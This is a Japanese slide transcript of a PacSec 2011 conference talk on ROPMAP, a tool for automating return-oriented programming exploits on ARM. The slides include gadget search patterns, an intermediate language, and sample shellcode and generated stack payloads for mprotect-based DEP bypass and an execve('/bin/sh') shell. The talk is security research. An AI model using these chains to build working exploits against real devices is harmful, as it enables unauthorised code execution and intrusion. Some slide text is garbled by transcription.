arm 攻略の ropmap long le – thanh nguyen {longld, thanh}@vnsecurity.net pacsec 2011

44
ARM 攻攻攻 ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

Post on 19-Dec-2015

220 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ARM 攻略の ROPMAP

Long Le – Thanh Nguyen{longld, thanh}@vnsecurity.net

PacSec 2011

Page 2: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

最初に自己紹介» VNSECURITY.NET

» CLGT CTF チーム

免責事項:ここで紹介する見解と研究は、 VNSECURITY の研究グループによるものであり、他のいかなる組織・企業の見解や研究を代表するものではありません

2ARM EXPLOITATION ROPMAP

Page 3: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

きっかけ» 公開されている ARM ROP が無い

• objdump/otool + grep

» シェルコード・ペイロードはハードコードされている» 簡単なガジェットが複雑なオートメーションを打ち負かせ

る• comex’s jailbreakme

3ARM EXPLOITATION ROPMAP

Page 4: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

本セッションの内容» X86 ROP ツールキットを ARM に拡張» ROP シェルコードのための中間言語» ARM 用の ROP 自動化の実装

• ガジェット・チェーンに対して ROP シェルコード

• ペイロードに対してガジェット・チェーン

4ARM EXPLOITATION ROPMAP

Page 5: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

プレゼン終了後には・・・

ROPシェルコード•LOAD r0, #0xdeadbeef•LOAD r1, #0•LOAD r2, #0•LOAD r7, #0xb•SYSCALL

ガジェット・チェーン•ldr r0 [sp #12] ; add sp sp #20 ; pop {pc}

•pop {r1 r2 r3 r4 r5 pc}•pop {r2 r3 r7 pc}•pop {r2 r3 r7 pc}•svc 0x00000000 ; pop {r4 r7} ; bx lr

ペイロード•[ BASE+0xaa0, 0x4b4e554a, 0x4b4e554b, 0x4b4e554c, 0xdeadbeef, 0x4b4e554e ]

•[ BASE+0x10d4, 0x0, 0x4b4e554b, 0x4b4e554c, 0x4b4e554d, 0x4b4e554e ]

•…

5ARM EXPLOITATION ROPMAP

Page 6: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPツールキットを ARMに拡張

6ARM EXPLOITATION ROPMAP

Page 7: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

X86から ARMへ:レジスタ

x86 ARM

eax, ebx, ecx, edx, esi, edi

r0, r1, r2, r3, r4, … r11, r12

esp sp (r13)

ebp fp (r11)

eip pc (r15)

N/A lr (r14)

7ARM EXPLOITATION ROPMAP

Page 8: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

X86から ARMへ:アセンブリx86 ARM

pop eax pop {r0}

mov eax, ebx mov r0, r1

add eax, ebx add r0, r0, r1

add eax, 0x10 add r0, #16

mov eax, [ebx] ldr r0, [r1]

mov [eax+0x10], ebx str r1, [r0, #16]

call eax blx r0

jmp eax bx r0

call function bl function(return address in lr)

ret pop {pc} / bx lr

int 0x80 svc 0x80 / svc 0x0

8ARM EXPLOITATION ROPMAP

Page 9: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

X86から ARMへ:シェルコード

x86 ARM

eax = sysnum r7/r12 = sysnum

ebx = arg1 r0 = arg1

ecx = arg2 r1 = arg2

edx = arg3 r2 = arg3

… …

int 0x80 svc 0x80 / svc 0x0

9ARM EXPLOITATION ROPMAP

Page 10: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

X86から ARMへ: ROP ガジェット

x86 ARM

ret pop {…, pc}bx lr

pop edi; ebp; ret pop {r1, r2, pc}

call eax blx r0

jmp eax bx r0

Instruction alignment: No Instruction alignment:- 4 bytes (ARM)- 2 bytes (THUMB)

Unintended code Intended code (mostly)

10ARM EXPLOITATION ROPMAP

Page 11: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ガジェットの検出» 「 RET 」を検索

• pop {…, pc}

‒ “.\x80\xbd\xe8” (ARM)

‒ “.\xbd” (THUMB)

• bx Rm / blx Rm

‒ “.\xff\x2f\xe1” (ARM)

‒ “.\x47” (THUMB)

» 後ろ方向にディスアセンブル• 2 バイトから 4 バイトおきに

» 自身の ARM ディスアセンブリライブラリを使用してみる

11ARM EXPLOITATION ROPMAP

Page 12: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

クイック・デモ

12ARM EXPLOITATION ROPMAP

Page 13: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPシェルコードのための中間言語

13ARM EXPLOITATION ROPMAP

Page 14: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPシェルコード» 一般的なペイロード

• ライブラリ・コールを連続実行• DEP/NX を無効化

• 通常のシェルコードを転送・実行

» 一般的なオペレーション• レジスタの割当• データの異動• 関数呼び出しか syscall を実行

14ARM EXPLOITATION ROPMAP

source: comex’s star_ framework

Page 15: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROP中間言語» 簡単な疑似アセンブルコード» 6つの命令» ネイティブ・レジスタ» 読み出し・書き込み・実装が容易

15ARM EXPLOITATION ROPMAP

Page 16: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROP IL

命令 LHS RHS

LHS/RHS タイプ• REG: レジスタ• VAL: 値• REF: レジスタの参照先• MEM: メモリの参照先• NON

ROP 命令• LOAD• STORE• ADJUST• CALL• SYSCALL• NOP

16ARM EXPLOITATION ROPMAP

Page 17: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROP IL:ロード

文法 使用例LOAD Rm, #value LOAD r0, #0xcafebabe

LOAD Rm, Rn LOAD r0, r1

LOAD Rm, [Rn] LOAD r0, [r1]

LOAD Rm, [#address] LOAD r0, [#0xdeadbeef]

» レジスタに値をロード

17ARM EXPLOITATION ROPMAP

Page 18: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROP IL:格納

文法 使用例STORE [Rm], Rn STORE [r0], r1

STORE [Rm], #value STORE [r0], #0xcafebabe

STORE [Rm], [Rn] STORE [r0], [r1]

STORE [#target], Rn STORE [#0xdeadbeef], r0

STORE [#target], [Rn] STORE [#0xdeadbeef], [r0]

STORE [#target], #value STORE [#0xdeadbeef], #0xcafebabe

STORE [#target], [#address] STORE [#0xdeadbeef], [#0xbeefc0de]

» レジスタに値を格納

18ARM EXPLOITATION ROPMAP

Page 19: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROP IL:調整

文法 使用例ADJUST Rm, Rn ADJUST r0, r1

ADJUST Rm, #value ADJUST r0, #4

ADJUST Rm, [Rn] ADJUST r0, [r1]

ADJUST Rm, [#address] ADJUST r0, [#0xdeadbeef]

» レジスタの値に加減算を行う

19ARM EXPLOITATION ROPMAP

Page 20: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROP IL:呼び出し

文法 使用例CALL Rm CALL r0

CALL [Rm] CALL [r0]

CALL #address CALL #0xdeadbeef

CALL [#address] CALL [#0xdeadbeef]

» 関数を呼び出す・関数にジャンプする

20ARM EXPLOITATION ROPMAP

Page 21: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROP IL:システムコール

文法 使用例SYSCALL SYSCALL

» システムコール

21ARM EXPLOITATION ROPMAP

Page 22: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

シェルコードのサンプル(1)» mprotect(writable, size, flag)

• LOAD r0, #writable

• LOAD r1, #size

• LOAD r2, #flag

• LOAD r7, #0x7d

• SYSCALL

» execve(“/bin/sh”, 0, 0): known “/bin/sh” address• LOAD r0, #binsh_address

• LOAD r1, #0

• LOAD r2, #0

• LOAD r7, #0xb

• SYSCALL

22ARM EXPLOITATION ROPMAP

Page 23: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

シェルコードのサンプル(2)» execve(“/bin/sh”, 0, 0): use known writable data region to

store “/bin/sh”• STORE [#writable], #0x6e69622f ; “/bin”

• STORE [#writable+0x4], #0x68732f ; “/sh”

• LOAD r0, #writable

• LOAD r1, #0

• LOAD r2, #0

• LOAD r7, #0xb

• SYSCALL

23ARM EXPLOITATION ROPMAP

Page 24: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

高級ラッパーの例(1)» syscall(sysnum, *args)

• LOAD r0, #arg1

• LOAD r1, #arg2

• LOAD r2, #arg3

• LOAD r3, #arg4

• LOAD r4, #arg5

• LOAD r5, #arg6

• LOAD r7, #sysnum

• SYSCALL

24ARM EXPLOITATION ROPMAP

Page 25: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

高級ラッパーの例(2)» funcall(address, *args)

• LOAD r0, #arg1

• LOAD r1, #arg2

• LOAD r2, #arg3

• LOAD r3, #arg4

• $arg5

• …

• CALL #address

25ARM EXPLOITATION ROPMAP

Page 26: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

高級ラッパーの例(3)» save_result(target)

• STORE [#target], r0

» write4_with_offset(reference, value, offset)• LOAD r0, [#reference]

• ADJUST r0, #offset

• STORE [r0], #value

26ARM EXPLOITATION ROPMAP

Page 27: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPMAPの実装

27ARM EXPLOITATION ROPMAP

Page 28: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPの自動化» 自動化は手間がかかる

• 命令の関数化• SMT/STP ソルバ

» 既存のツールキット• DEPLib

‒ ミニ ASM 言語‒ ARM はサポートしていない

• Roppery (WOLF)

‒ REIL

‒ 公になっていない

28ARM EXPLOITATION ROPMAP

Page 29: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPMAP

» ROPMAP• ROP 命令を ASM ガジェットに直接マッピング• LHS/RHS タイプは ASM ガジェットで使用可能• Primitive ガジェット

• CHAINMAP• ROP 命令を間接的に ROP チェインにマッピング• LHS/RHS タイプは ASM ガジェットで使用不能

» ガジェットを検索・連結するためのエンジン» ペイロードを生成

29ARM EXPLOITATION ROPMAP

Page 30: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPMAPサンプル:ロード

LOAD Rm, #value pop {Rm, …, pc}

mov Rm, #value

ldr Rm, [sp …]

LOAD Rm, Rn add Rm, Rn

mov Rm, Rn

sub Rm, Rn

LOAD Rm, [Rn] ldr Rm, [Rn …]

LOAD Rm, [#addr]LOAD Rn, #addrLOAD Rm, [Rn]

30ARM EXPLOITATION ROPMAP

Page 31: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPMAPサンプル:格納STORE [Rm], Rn str Rn, [Rm …]

STORE [Rm], #valueLOAD Rn, #valueSTORE [Rm], Rn

STORE [Rm], [#addr]LOAD Rn, [#addr]STORE [Rm], Rn

STORE [#target], RmLOAD Rn, [#target]STORE [Rn], Rm

STORE [#target], #value

LOAD Rm, #valueSTORE [#target], Rm

STORE [#target], [#addr]

LOAD Rn, [#addr]STORE [#target], Rn

31ARM EXPLOITATION ROPMAP

Page 32: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

アセンブラ・円に Jん» 前提

• バイナリは十分な Primitive ガジェットを持っている• Primitive ガジェットを繋げる方が複雑なガジェットを見つけるよりも簡

» アプローチ• ガジェット候補を探す

‒ ガジェットをソートする(簡単なスコアリング)

• ペアマッチングでガジェットを連結‒ LHS 対 RHS

‒ LHS 対 LHS

• 基本的な検証ルールを適用‒ 値を突合‒ レジスタをチェック

32ARM EXPLOITATION ROPMAP

Page 33: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ペアを突合

STORE [#target], [#addr]

pop {r4 pc}

ldr r0 [r4 #4] ; pop {r4 r5 r6 r7 pc}

str r0 [r4 #16] ; mov r0 r3 ; pop {r1 r2 r3 r4 r5 pc}

pop {r4 pc}

MATCHED

MATCHED

MATCHED

33ARM EXPLOITATION ROPMAP

Page 34: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ガジェット検証

ldr r6 [r5 #4] ;sub r0 r0 r6 ;pop {r4 r5 r6 pc}

LOAD r6, [r5]TAIN

TED

ldr r1 [r5 #36] ;ldr r5 [r4 #36] ;sub r0 r1 r5 ; add sp sp #36 ; pop {r4 r5 r6 r7 pc}

STORE [r1], [r5]

TAINTED

34ARM EXPLOITATION ROPMAP

Page 35: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ROPシェルコードからガジェット・チェーンまで» execve(“/bin/sh”, 0, 0)# ROP code: load r0, #0xdeadbeef

--------------------------------------------------------------------0xdc68L : pop {r0 pc} ;;--------------------------------------------------------------------# ROP code: load r1, #0-------------------------------------------------------------------0x16a6dL : pop {r1 r7 pc} ;;--------------------------------------------------------------------# ROP code: load r2, #0--------------------------------------------------------------------0x30629L : pop {r2 r3 r6 pc} ;;--------------------------------------------------------------------# ROP code: load r7, #0xb--------------------------------------------------------------------0x16a6dL : pop {r1 r7 pc} ;;--------------------------------------------------------------------# ROP code: syscall--------------------------------------------------------------------0xc734L : svc 0x00000000 ; pop {r4 r7} ; bx lr ;;--------------------------------------------------------------------

35ARM EXPLOITATION ROPMAP

Page 36: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ペイロード生成(1)» 入力

• ROP IL 命令• ガジェット• 定数• 制約と値を結合

• 出力• スタック・レイアウト• 出力値は高級 ROP ラッパーに使用可能• サイズ最適化は行わない

36ARM EXPLOITATION ROPMAP

Page 37: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ペイロード生成(2)» アプローチ

• ガジェット・エミュレーション‒ スタック関連の操作をエミュレート

• スタック位置に必要な値を再書き込み‒ LHS/RHS リバース・マッチング‒ 簡単な数学的演算

• 次の命令へのバインディング値をフィードバック

37ARM EXPLOITATION ROPMAP

Page 38: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

リバース・マッチング

LOAD r0, [#address]

pop {r4 pc}

ldr r0 [r4 #4] ; pop {r4 r5 r6 r7 pc}

MATCHED

(1)

MATCHED

(2)

r4 = #address - 4

r4 = #address - 4

38ARM EXPLOITATION ROPMAP

Page 39: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ガジェット・エミュレーション» 単一のガジェット» スタック関係のオペレーションのみ

39ARM EXPLOITATION ROPMAP

JUNK+4

JUNK+3

JUNK+2

JUNK+1

JUNKSP

uninitializedregisters

Init state Execute pop {r2 r3 r7 pc} ;;

SP = SP+3r7 = JUNK+2r3 = JUNK+1r2 = JUNK

JUNK+2

JUNK+1

JUNK

SP

r2 = 0x0r7 = 0xb

value constraints

Page 40: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

スタックへの再書き込み» ペイロード=スタック上の値

40ARM EXPLOITATION ROPMAP

0xb

JUNK+1

0x0 SP

Payload

SP

pop {r2 r3 r7 pc} ;;

r2 = 0x0 r7 = 0xb

SP = SP+3r7 = JUNK+2r3 = JUNK+1r2 = JUNK

JUNK+2

JUNK+1

JUNK

Write back

Page 41: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

アウトプット・ペイロード» execve(“/bin/sh”, 0, 0)

# ROP code: load r0, #0xdeadbeef # pop {r0 pc}[ BASE+0x2d38, 0xdeadbeef ]# ------------------------------------------------------------------# ROP code: load r1, #0# pop {r1 r7 pc}[ BASE+0xbb3d, 0x0, 0x4b4e554b ]# ------------------------------------------------------------------# ROP code: load r2, #0# pop {r2 r3 r6 pc}[ BASE+0x256f9, 0x0, 0x4b4e554b, 0x4b4e554c ]# ------------------------------------------------------------------# ROP code: load r7# pop {r1 r7 pc}[ BASE+0xbb3d, 0x0, 0xb ]# ------------------------------------------------------------------# ROP code: syscall# svc 0x00000000 ; pop {r4 r7} ; bx lr[ BASE+0x1804, 0x4b4e554a, 0xb ]# ------------------------------------------------------------------

41ARM EXPLOITATION ROPMAP

Page 42: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

デモ

42ARM EXPLOITATION ROPMAP

Page 43: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

今後の計画» アウトプット・ペイロードの最適化

• 重複の減少

» ARM Thumb-2 をサポート• より多くのガジェットが使用可能

» x86/x86_64 へ拡張(現在は一部のみ)» 条件付きのジャンプ・ループ命令

43ARM EXPLOITATION ROPMAP

Page 44: ARM 攻略の ROPMAP Long Le – Thanh Nguyen {longld, thanh}@vnsecurity.net PacSec 2011

ご清聴ありがとうございました。

ご質問をどうぞ

44ARM EXPLOITATION ROPMAP